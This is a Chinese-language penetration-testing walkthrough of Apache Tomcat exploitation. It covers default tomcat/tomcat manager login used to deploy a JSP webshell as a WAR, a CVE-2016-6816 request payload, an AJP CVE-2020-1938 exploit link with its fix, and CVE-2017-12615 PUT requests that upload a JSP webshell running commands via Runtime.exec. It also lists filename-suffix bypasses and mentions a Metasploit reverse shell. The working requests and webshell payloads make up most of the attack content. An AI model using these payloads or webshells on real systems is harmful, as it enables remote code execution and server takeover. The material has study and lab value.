Tomcat弱口令登录后台配置WAR包getshell
漏洞复现
弱口令
账号:tomcat
密码:tomcat
进入Manager App
将一个jsp的木马打包成war包然后上传部署
jar.exe -cvf shell.war “shell.jsp”
然后点击选择文件
冰蝎连接即可
CVE-2016-6816(tomcat 信息泄露)未复现成功
漏洞描述
Apache Tomcat中存在安全漏洞,该漏洞源于程序没有正确过滤HTTP请求。攻击者可利用该漏洞实施跨站脚本攻击,获取敏感信息。
EXP
GET /?{{%25}}cake\=1 HTTP/1.1 Host: justpentest.com Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Cookie: NSC_MSN-IBNQ-VX-mcwtfswfs=ffffffff091c1daaaa525d5f4f58455e445a4a488888 OR GET /?a'a%5c'b%22c%3e%3f%3e%25%7d%7d%25%25%3ec%3c[[%3f$%7b%7b%25%7d%7dcake%5c=1 HTTP/1.1
CVE-2020-1938(tomcat 文件包含)存在文件上传可达到代码执行效果
漏洞描述
该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。
影响版本
Apache Tomcat 9.x < 9.0.31 Apache Tomcat 8.x < 8.5.51 Apache Tomcat 7.x < 7.0.100 Apache Tomcat 6.x
漏洞复现
用nmap扫描发现8009AJP协议端口发放,则可能存在该漏洞
EXP
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
利用EXP执行
假设我们通过文件上传漏洞上传了jsp脚本的txt文件,来尝试文件包含进行远程代码执行(RCE)(创建一个含jsp脚本的txt文件)
漏洞修复
临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443” />
更新tomcat版本
CVE-2017-12615(tomcat代码执行)
漏洞描述
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞(CVE-2017-12615)。当 启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
漏洞的产生是由于配置不当(非默认配置),将配置文件( conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传 任意文件,但限制了jsp后缀,不过对于不同平台有多种绕过方法
影响版本
Apache Tomcat 7.0.0 - 7.0.81
漏洞复现
访问根目录抓包
GET / HTTP/1.1 Host: 123.58.236.76:21130 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: JSESSIONID=D13F6FA5933872B17454D290A66E3C6E Connection: close
修改为PUT请求方法
PUT /1.jsp HTTP/1.1 Host: 123.58.236.76:21130 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: JSESSIONID=D13F6FA5933872B17454D290A66E3C6E Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 <%Runtime.getRuntime().exec(request.getParameter("i"));%>
但是上传显示404
这里是存在上传限制,该环境可以通过后面加一个/进行绕过
其他绕过方法
后缀名后加/可绕过上传 PUT /2.jsp/ HTTP/1.1 文件名后缀加::$DATA 上传文件后缀名加上%20 上传文件名后缀加上.
可以通过msf生成反弹shell的脚本,然后通过web访问执行来拿到反弹回来的shell